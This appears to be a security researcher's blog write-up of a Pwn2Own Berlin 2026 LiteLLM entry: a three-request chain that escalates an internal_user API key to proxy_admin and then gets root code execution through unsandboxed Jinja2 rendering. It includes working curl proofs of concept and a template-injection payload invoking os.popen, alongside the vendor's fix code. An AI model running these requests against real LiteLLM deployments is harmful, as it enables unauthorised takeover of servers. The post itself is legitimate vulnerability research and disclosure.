Pwn2Own Berlin 2026: How I Got the RCE and Lost the Slot

on

( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )

(إن أحسنت فمن الله، وإن أسأت فمن نفسي والشيطان)

TL;DR

  • I had two Pwn2Own Berlin 2026 entries: LiteLLM ($40k Local Inference) and NVIDIA Dynamo ($40k AI Inference).
  • On LiteLLM I built a three-bug chain that goes from a vanilla internal_user API key to root RCE in three HTTP requests, verified 120 times in a row against the contest image (ghcr.io/berriai/litellm:v1.82.3-stable). P95 latency 949ms. Submitted to ZDI on 2026-04-01.
  • On 2026-04-20, an independent researcher published GHSA-xqmj-j6mv-4862 / CVE-2026-42203, which collided with the SSTI primitive at the end of my chain.
  • The vendor also silently patched the two privesc bugs (VULN1 and VULN2 below) somewhere in the 1.83.x line, with no public CVE attribution that I could locate.
  • On 2026-05-02 I pulled my Dynamo entry after ZDI clarified that pickle deserialization (torch.load weights_only=False) and trust_remote_code=True exploits are out of scope as "developer role, not end user role". My Dynamo findings all fall in that excluded class. They are being filed through NVIDIA's Intigriti program under coordinated disclosure.
  • My Schengen visa did not come through in time. Remote entries were not permitted at Pwn2Own Berlin 2026, so I cannot be in the room to demo the chain. The slot will go unused.
  • I am publishing this so the work is on the record. The vuln pair was filed retroactively to BerriAI as GHSA-7rwf-37jh-m5m7. The remaining bugs (variant SSTI and several adjacent disclosures) are going through GHSA. Dynamo details are embargoed until NVIDIA ships fixes.

Choosing the targets

Pwn2Own Berlin 2026 split AI infrastructure across two categories. Local Inference covered tools that run on a single machine (Ollama, LiteLLM, LM Studio, Llama.cpp), each $40,000. AI Inference covered distributed serving frameworks (NVIDIA Dynamo and similar), also $40,000. I picked LiteLLM in Local Inference and NVIDIA Dynamo in AI Inference. Both are Python heavy, both expose HTTP control planes, both fit how I work. Active research started early March 2026.

The ZDI scope clarification for LiteLLM was decisive:

Configuration: LITELLM_MASTER_KEY will be set. Contestant receives an API key at internal_user access level (not proxy_admin). No OAuth 2.0 / JWT / enterprise authentication features configured. No MCP servers configured. config.yaml: default. Database: PostgreSQL. LLM backend: Ollama.
Out of scope: RPC, MCP, experimental or non-default flags, denial of service without code execution.

That paragraph reshaped everything. The contest target would be a default-config LiteLLM, and the contestant would have an internal_user key, not admin. The chain had to elevate.

LiteLLM: the chain

Three bugs, three HTTP requests, root shell. Numbering is per entry, starting from 1.

VULN1: /key/generate and /key/update accept allowed_routes from non-admin

File: litellm/proxy/management_endpoints/key_management_endpoints.py (pre-patch, v1.82.x)

The KeyRequestBase Pydantic model accepts allowed_routes: Optional[list] with no field-level authorization. Any authenticated user could POST /key/generate or /key/update with that field set. The reason this matters is the route check middleware. In route_checks.py:

# non_proxy_admin_allowed_routes_check
elif valid_token.allowed_routes is not None:
    # check if route is in allowed_routes (exact match or prefix match)
    route_allowed = False
    for allowed_route in valid_token.allowed_routes:
        if RouteChecks._route_matches_allowed_route(
            route=route, allowed_route=allowed_route
        ):
            route_allowed = True
            break
        ...
    if route_allowed:
        return  # standard role check is skipped

valid_token.allowed_routes is whatever the key has stored in the DB. If the key's allowed_routes covers the route being called, the role gate is bypassed entirely. The branch was designed so admins could pre-authorize keys for specific routes. It became a privesc primitive because the field had no write-time authorization.

PoC for VULN1:

curl -X POST http://target:4000/key/generate \
  -H "Authorization: Bearer sk-INTERNAL_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["management_routes"]}'
# Response: {"key": "sk-NEW_KEY", "allowed_routes": ["management_routes"], ...}

The new key now bypasses the role gate on every endpoint in the management_routes enum, including /user/update.

VULN2: /user/update accepts user_role self-promotion

File: litellm/proxy/management_endpoints/internal_user_endpoints.py (pre-patch, v1.82.x)

POST /user/update permits self-update (the user's user_id matches the token's). The helper _update_internal_user_params iterated non-null body fields and passed them straight to the DB:

# pre-patch internal_user_endpoints.py
def _update_internal_user_params(data_json: dict, data: BaseModel) -> dict:
    non_default_values = {}
    for k, v in data_json.items():
        if v is not None and v not in ([], {}):
            non_default_values[k] = v
    # ... no field-level role authorization
    return non_default_values

user_role was not in any blocklist, so a non-admin caller could set it. After the DB write, user_api_key_auth.py re-reads user_role from the user table on every subsequent request, so the change is live immediately.

PoC for VULN2 (using the bypass key from VULN1):

curl -X POST http://target:4000/user/update \
  -H "Authorization: Bearer sk-NEW_KEY" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "<self-user-id>", "user_role": "proxy_admin"}'
# Response: 200 OK, user_role is now proxy_admin

The escalation is permanent. Every key owned by that user is now an admin key.

VULN3: /prompts/test renders user-controlled Jinja2 in an unsandboxed environment

File: litellm/integrations/dotprompt/prompt_manager.py:62 (pre-patch, v1.82.x)

Once proxy_admin, /prompts/test is reachable. The endpoint accepts dotprompt_content from the body, strips YAML frontmatter, and renders the template:

# pre-patch prompt_manager.py
class PromptManager:
    def __init__(self, ...):
        self.jinja_env = Environment(   # plain Environment, not sandboxed
            loader=DictLoader({}),
            autoescape=select_autoescape(["html", "xml"]),
            ...
        )

Plain jinja2.Environment does not block attribute traversal. A template that walks __init__.__globals__ reaches Python builtins, then __import__('os').popen(cmd).read():

PoC for VULN3:

PAYLOAD='---
model: ollama/llama3
---
{{ joiner.__init__.__globals__["__builtins__"]["__import__"]("os").popen("id").read() }}'

curl -X POST http://target:4000/prompts/test \
  -H "Authorization: Bearer sk-NEW_KEY" \
  -H "Content-Type: application/json" \
  -d "$(jq -nc --arg p "$PAYLOAD" '{dotprompt_content: $p, prompt_variables: {}}')"
# Response stream contains: uid=0(root) gid=0(root) ...
Note: VULN3 is what CVE-2026-42203 / GHSA-xqmj-j6mv-4862 later disclosed publicly. My PoC was working on 2026-03-25, submission was 2026-04-01, and the public CVE was published 2026-04-20.


Wrong paths

Several things I tried at length did not pan out.

/prompts/test direct hit as internal_user. First attempt assumed the route-level Depends(user_api_key_auth) was the entire gate. It was not. The route check in route_checks.py has an enum match that rejects /prompts/test for non-admin keys. Two days lost before I found the route checker layer and pivoted to a privesc chain.

Jinja2 3.1.6 sandbox escape (after the CVE patched VULN3). ~100 payloads against a standalone ImmutableSandboxedEnvironment matching the LiteLLM config: underscore attribute walks, |attr filter (CVE-2025-27516 pattern), str.format injection (CVE-2024-56326 pattern), MarkupSafe interactions, make_attrgetter filter chains, namespace mutation, format conversion, generator expressions. All blocked. The 3.1.6 sandbox is robust.

A cosign supply-chain claim I almost shipped. Drafted a P0 finding claiming LiteLLM publishes cosign.pub without actually signing images or documenting verification. Pre-submission check (a single WebFetch of the project's docker image security docs and README) showed the signing happens in a private offline pipeline and the verification command is documented in two forms. The claim was wrong. I dropped it and built a "security consultant validator" agent so future drafts get the same skeptical pass before they leave the lab.

JWT and OAuth angles. ZDI's scope email explicitly excluded OAuth and JWT, so even if I found something it would not have been a contest entry. Closed the notes.

Cache and SQL primitives. Redis/Qdrant semantic caches and S3 backends all use JSON or Pydantic round trips, no pickle. All raw SQL is parameterized through Prisma. Nothing exploitable for code execution as internal_user.

The CVE collision (2026-04-20)

Nineteen days after my entry was submitted, GHSA-xqmj-j6mv-4862 / CVE-2026-42203 was published by an independent researcher and disclosed the same /prompts/test SSTI primitive (VULN3 above). My submission predates the advisory by 19 days, and the working PoC predates it by 26 days. The collision is real and probably independent. For a contest entry, a public CVE on the headline primitive is a problem regardless of independence.

I drafted a notification to ZDI flagging the collision and offering a replacement vector (an incomplete-fix variant of the same bug class in three other files, still unpatched as of 2026-05-09).

The silent patches

Around the same time, the vendor pushed two quiet fixes that closed VULN1 and VULN2 on the 1.83.x line.

VULN1 fix (key_management_endpoints.py:466-501):

def _check_allowed_routes_caller_permission(
    allowed_routes: Optional[list],
    user_api_key_dict: UserAPIKeyAuth,
    *,
    allow_safe_presets: bool = False,
) -> None:
    if not allowed_routes:
        return
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return
    if allow_safe_presets and all(
        r in _NON_ADMIN_SAFE_ALLOWED_ROUTES_PRESETS for r in allowed_routes
    ):
        return
    raise HTTPException(status_code=403, detail={...})

Called from seven sites (/key/generate, /key/update, /key/regenerate, /key/bulk_update, etc.). Sibling helper _check_passthrough_routes_caller_permission at :504 closes the same trick via allowed_passthrough_routes.

VULN2 fix (internal_user_endpoints.py:1171-1179):

# Only proxy admins can modify user_role
if (
    user_request.user_role is not None
    and user_api_key_dict.user_role != LitellmUserRoles.PROXY_ADMIN.value
):
    raise HTTPException(
        status_code=403,
        detail="Only proxy admins can modify user roles.",
    )

Mirror block at :1576-1591 for /user/bulk_update.

Both fixes shipped without an obvious public CVE attribution that I could find.

The remaining unsolved bug

The CVE-2026-42203 patch sandboxed one of four Jinja2 rendering sites in the project. Three other prompt manager files (different code paths, different files, different fix locations) still use the same plain Environment() pattern. Each is reachable through an admin-controlled registration path, and each independently allows arbitrary code execution as the proxy process when a malicious template hits the rendering path.

I am not naming the three files or showing the trigger in this post. They are still unfixed. The technical detail is going to BerriAI privately. Once the vendor patches and a GHSA is published, this section will be updated with file references and a PoC.

Dynamo (under embargo)

I researched NVIDIA Dynamo v1.0.0 in parallel with LiteLLM, March through early May 2026. I will not describe the specific findings in this post.

On 2026-05-02 I pulled my Pwn2Own entry for Dynamo after ZDI clarified scope:

These are out of scope: Pickle deserialization (torch.load with weights_only=False) — this is the developer role, not end user role. trust_remote_code=True exploits — also developer role.

The vectors I had identified for Dynamo sat inside that excluded class. The bugs are real and reproducible, but they are not Pwn2Own-scope per this ruling. I filed them through NVIDIA's Intigriti program for coordinated disclosure. I cannot share details until NVIDIA has shipped fixes and the embargo lifts. I will update this post then.

The visa wall

Pwn2Own Berlin 2026 required contestants to be physically present in Berlin. Remote attempts were not permitted this year. I applied for a Schengen visa in the appropriate timeframe. It did not come through in time. Without a visa I cannot board the plane, cannot enter the contest network, cannot run the chain in front of the ZDI judges.

The chain works. The polished PoC runs in under a second. The reliability harness sits in the repository. None of that matters for prize eligibility when the contestant is not in the room.

Lessons for next year

  1. Start the visa application early.
  2. Prepare backup exploits.
  3. Do not stop trying.

I will update this post as disclosure cycles close: with the BerriAI CVE numbers for VULN1 / VULN2 and the variant SSTI once it ships, and with the NVIDIA CVE numbers as Intigriti pushes them through.

Comments

Post a Comment